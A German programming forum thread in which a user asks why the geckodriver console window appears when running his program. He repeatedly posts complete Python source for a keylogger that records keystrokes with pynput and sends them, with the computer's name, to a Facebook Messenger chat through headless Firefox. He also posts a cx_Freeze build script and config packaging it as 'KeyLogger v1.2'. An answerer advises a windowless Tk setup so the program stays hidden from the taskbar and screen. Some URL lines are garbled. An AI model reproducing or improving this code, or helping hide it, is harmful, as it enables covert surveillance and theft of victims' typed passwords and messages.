Geckodriver wird Angezeigt warum?

4 Antworten

Hier ist mal der Code von dem Ganzen:

import Computer
import threading
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from pynput.keyboard import Key, Listener
from pynput.mouse import Button, Controller
from tkinter import Tk
import queue
import hashlib
import os
stoppw = '9bf1b8806f06f5a05d4dfe72c0cdce027f0d7a56b232d4a60220b7da565f3589524f3a8895872d33facc646bdaaabf3e76e166feb9baa526236fdc0a050bb129'
seeBrowser = False
wait_for_keys = 20 #mindestens 10
keys_acceptet = 0
keys = []
new_key = False
key_name = ''
text_field = ''
text_submit = ''
loop = True

try:
    os.remove('Stop')
except:
    pass

class secret:
    class Facebook:
        shttps://www.facebook.com/m/m//m/'
        text_site = 'https://www.facebook.com/messages/t/[name der seite]'

        user = ''
        email = ''
        pw = ''

class XPath:
    login_email = '//*[@id="email"]'
    login_pw = '//*[@id="pass"]'
    login_submit = '//input[@value="Anmelden"][@aria-label="Anmelden"][@data-testid="royal_login_button"][@type="submit"]'

    text_field = '/html/body/div[1]/div[3]/div[1]/div/div/div/div[2]/span/div[2]/div[2]/div[2]/div[1]/div/div[1]/div/div[1]/div/div[2]/div[@role="combobox"]'
    text_submit = '/html/body/div[1]/div[3]/div[1]/div/div/div/div[2]/span/div[2]/div[2]/div[2]/div[1]/div/div[2]/a[@role="button"][@href="#"]'

Profile = webdriver.FirefoxProfile()
Profile.set_preference("dom.webnotifications.enabled", False)
Options = webdriver.FirefoxOptions()
if seeBrowser == False:
    Options.add_argument('--headless')
driver = webdriver.Firefox(firefox_profile=Profile, firefox_options=Options)


def log_in(XPath_email, email, XPath_pw, pw, XPath_submit):
    try:
        XPath_email.send_keys(email)
        XPath_pw.send_keys(pw)
        XPath_submit.click()
    except:
        return False
    else:
        return True

def send_Facebook(text):
    global text_field
    global text_submit
    try:
        driver.get(secret.Facebook.text_site)
        text_field = driver.find_element_by_xpath(XPath.text_field)
        text_field.send_keys(text)
        text_submit = driver.find_element_by_xpath(XPath.text_submit)
        text_submit.click()
        first_time = 1
    except:
        send_Facebook(text)

        

def on_press(key):
    nothing = 0

def on_release(key):
    global new_key
    global keys
    global wait_for_keys
    global keys_acceptet
    keys_acceptet = keys_acceptet + 1
    keys.append(key)
    if keys_acceptet == wait_for_keys:
        keys_acceptet = 0
        new_key = True

def key_listener():
    listener = Listener(on_press = on_press, on_release = on_release)
    listener.start()

def send_keys():
    global keys
    global new_key
    global key_name
    global Sender
    global loop
    global stoppw
    driver.get(secret.Facebook.site)
    submit = driver.find_element_by_xpath(XPath.login_submit)
    email = driver.find_element_by_xpath(XPath.login_email)
    pw = driver.find_element_by_xpath(XPath.login_pw)
    if log_in(email, secret.Facebook.email, pw, secret.Facebook.pw, submit) == True:
        while loop == True:
            try:
                file = open('Stop')
                for line in file:
                    sha512pw = hashlib.sha512(line.encode())
                    if sha512pw.hexdigest() == stoppw:
                        loop = False
                        send_Facebook('Stopping on Computer: "' + Computer.name + '"')
                    else:
                        raise IndexError
            except:
                nothing = 0
            if True:
                if new_key == True:
                    new_key = False
                    in_keys = keys
                    keys = []
                    tosend = 'Send Keys: "' + str(in_keys) + '" From Computer: "' + Computer.name + '"'
                    Send = threading.Thread(name='Facebook Sender [Key Logger]', target=send_Facebook(tosend))
    else:
        raise ValueError

KeyListener = threading.Thread(name='Key Listener [Key Logger]', target=key_listener())
SendKeys = threading.Thread(name='Key Sender [Key Logger]', target=send_keys())

if __name__ == '__main__':
    win = Tk()
    SendKeys.start()
    KeyListener.start()
    win.mainloop()
Woher ich das weiß:Hobby

#!/usr/bin/python3from tkinter import Tk# DEIN CODEwin = Tk()win.mainloop()

... Dadurch erstellst du ein GUI-Programm ohne Fenster. Das läuft dann wie ein Dienst weder in der Taskleiste noch am Bildschirm sichtbar. Einzig im Taskmanager findet man den Eintrag.

Woher ich das weiß:Berufserfahrung – Softwareentwickler f. Web, Win. & Linux (seit 2001)
HackersHack 
Fragesteller
 11.11.2018, 20:36

Ja ich weis man den code jetzt noch verbessern aber jetzt geht es erstmal ums Problem

import Computer ist eine .py datei worin nur der name des Computer steht

Ich hab hier einfach mal mich ein bischen ausgetopt

wie man schon bereits sieht hab ich den Tip schon ausprobiert doch es klappt nicht

Es funktioniert leider immer noch nicht warte ich schicke mal den Code:

import Computer
import threading
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from pynput.keyboard import Key, Listener
from pynput.mouse import Button, Controller
from tkinter import Tk
import queue
import hashlib
import os
stoppw = '9bf1b8806f06f5a05d4dfe72c0cdce027f0d7a56b232d4a60220b7da565f3589524f3a8895872d33facc646bdaaabf3e76e166feb9baa526236fdc0a050bb129'
seeBrowser = False
wait_for_keys = 20 #mindestens 10
keys_acceptet = 0
keys = []
new_key = False
key_name = ''
text_field = ''
text_submit = ''
loop = True

try:
    os.remove('Stop')
except:
    pass

class secret:
    class Facebook:
        sitehttps://www.facebook.com/m/m/'
        text_site = 'https://www.facebook.com/messages/t/[name der seite]'

        user = ''
        email = ''
        pw = ''

class XPath:
    login_email = '//*[@id="email"]'
    login_pw = '//*[@id="pass"]'
    login_submit = '//input[@value="Anmelden"][@aria-label="Anmelden"][@data-testid="royal_login_button"][@type="submit"]'

    text_field = '/html/body/div[1]/div[3]/div[1]/div/div/div/div[2]/span/div[2]/div[2]/div[2]/div[1]/div/div[1]/div/div[1]/div/div[2]/div[@role="combobox"]'
    text_submit = '/html/body/div[1]/div[3]/div[1]/div/div/div/div[2]/span/div[2]/div[2]/div[2]/div[1]/div/div[2]/a[@role="button"][@href="#"]'

Profile = webdriver.FirefoxProfile()
Profile.set_preference("dom.webnotifications.enabled", False)
Options = webdriver.FirefoxOptions()
if seeBrowser == False:
    Options.add_argument('--headless')
driver = webdriver.Firefox(firefox_profile=Profile, firefox_options=Options)


def log_in(XPath_email, email, XPath_pw, pw, XPath_submit):
    try:
        XPath_email.send_keys(email)
        XPath_pw.send_keys(pw)
        XPath_submit.click()
    except:
        return False
    else:
        return True

def send_Facebook(text):
    global text_field
    global text_submit
    try:
        driver.get(secret.Facebook.text_site)
        text_field = driver.find_element_by_xpath(XPath.text_field)
        text_field.send_keys(text)
        text_submit = driver.find_element_by_xpath(XPath.text_submit)
        text_submit.click()
        first_time = 1
    except:
        send_Facebook(text)

        

def on_press(key):
    nothing = 0

def on_release(key):
    global new_key
    global keys
    global wait_for_keys
    global keys_acceptet
    keys_acceptet = keys_acceptet + 1
    keys.append(key)
    if keys_acceptet == wait_for_keys:
        keys_acceptet = 0
        new_key = True

def key_listener():
    listener = Listener(on_press = on_press, on_release = on_release)
    listener.start()

def send_keys():
    global keys
    global new_key
    global key_name
    global Sender
    global loop
    global stoppw
    driver.get(secret.Facebook.site)
    submit = driver.find_element_by_xpath(XPath.login_submit)
    email = driver.find_element_by_xpath(XPath.login_email)
    pw = driver.find_element_by_xpath(XPath.login_pw)
    if log_in(email, secret.Facebook.email, pw, secret.Facebook.pw, submit) == True:
        while loop == True:
            try:
                file = open('Stop')
                for line in file:
                    sha512pw = hashlib.sha512(line.encode())
                    if sha512pw.hexdigest() == stoppw:
                        loop = False
                        send_Facebook('Stopping on Computer: "' + Computer.name + '"')
                    else:
                        raise IndexError
            except:
                nothing = 0
            if True:
                if new_key == True:
                    new_key = False
                    in_keys = keys
                    keys = []
                    tosend = 'Send Keys: "' + str(in_keys) + '" From Computer: "' + Computer.name + '"'
                    Send = threading.Thread(name='Facebook Sender [Key Logger]', target=send_Facebook(tosend))
    else:
        raise ValueError

KeyListener = threading.Thread(name='Key Listener [Key Logger]', target=key_listener())
SendKeys = threading.Thread(name='Key Sender [Key Logger]', target=send_keys())

if __name__ == '__main__':
    win = Tk()
    SendKeys.start()
    KeyListener.start()
    win.mainloop()
0
HackersHack 
Fragesteller
 11.11.2018, 20:53
@HackersHack

der Geckodriver liegt im selben ordner wie das script

Und das script fürs py to .exe ist das hier:

import sys
import os
from cx_Freeze import setup, Executable

includes_files = []

with open("Config.txt", "r") as f:
    for line in f:
        if line.startswith("Name = "):
            name = line.replace("Name = ", "")
            name = name.replace("\n", "")
            print(name)
        elif line.startswith("Version = "):
            version = line.replace("Version = ", "")
            version = version.replace("\n", "")
            print(version)
        elif line.startswith("Description = "):
            description = line.replace("Description = ", "")
            description = description.replace("\n", "")
            print(description)
        elif line.startswith("Base = "):
            base1 = line.replace("Base = ", "")
            base1 = base1.replace("\n", "")
            print(base1)
        elif line.startswith("Packages = "):
            a = line.replace("Packages = ", "")
            a = a.replace("\n", "")
            b = a.split(", ")
        elif line.startswith("Include_Files = "):
            file_line = line.replace("Include_Files = ", "")
            file_line = file_line.replace("\n", "")
            include_files = file_line.split(", ")

print(include_files)
build_exe_options = dict(packages = b,
                                   include_files=include_files,
                                    )
if sys.platform == "win32":
    base = "Win32GUI"
os.environ["TCL_LIBRARY"] = r"Driver\tcl8.6"
os.environ["TK_LIBRARY"] = r"Driver\tk8.6"
setup(name=name, version=version, description=description, options={"build_exe": build_exe_options}, executables=[Executable(base1, base=base)])
0
HackersHack 
Fragesteller
 11.11.2018, 20:54

und die Config.txt dazu ist die hier:

Name = KeyLogger
Version = 1.2
Description = KeyLogger v1.2
Base = Main.py
Packages = sys, email
Include_Files = Driver\DLLs\tk86t.dll, Driver\DLLs\tcl86t.dll, geckodriver.exe
author = [author]
0
Das .py to .exe script:

import sys
import os
from cx_Freeze import setup, Executable

includes_files = []

with open("Config.txt", "r") as f:
    for line in f:
        if line.startswith("Name = "):
            name = line.replace("Name = ", "")
            name = name.replace("\n", "")
            print(name)
        elif line.startswith("Version = "):
            version = line.replace("Version = ", "")
            version = version.replace("\n", "")
            print(version)
        elif line.startswith("Description = "):
            description = line.replace("Description = ", "")
            description = description.replace("\n", "")
            print(description)
        elif line.startswith("Base = "):
            base1 = line.replace("Base = ", "")
            base1 = base1.replace("\n", "")
            print(base1)
        elif line.startswith("Packages = "):
            a = line.replace("Packages = ", "")
            a = a.replace("\n", "")
            b = a.split(", ")
        elif line.startswith("Include_Files = "):
            file_line = line.replace("Include_Files = ", "")
            file_line = file_line.replace("\n", "")
            include_files = file_line.split(", ")

print(include_files)
build_exe_options = dict(packages = b,
                                   include_files=include_files,
                                    )
if sys.platform == "win32":
    base = "Win32GUI"
os.environ["TCL_LIBRARY"] = r"Driver\tcl8.6"
os.environ["TK_LIBRARY"] = r"Driver\tk8.6"
setup(name=name, version=version, description=description, options={"build_exe": build_exe_options}, executables=[Executable(base1, base=base)])
Woher ich das weiß:Hobby
Und die Dazugehörige Config.txt fürs .py to .exe script:

Name = KeyLogger
Version = 1.2
Description = KeyLogger v1.2
Base = Main.py
Packages = sys, email
Include_Files = Driver\DLLs\tk86t.dll, Driver\DLLs\tcl86t.dll, geckodriver.exe
author = [author]
Woher ich das weiß:Hobby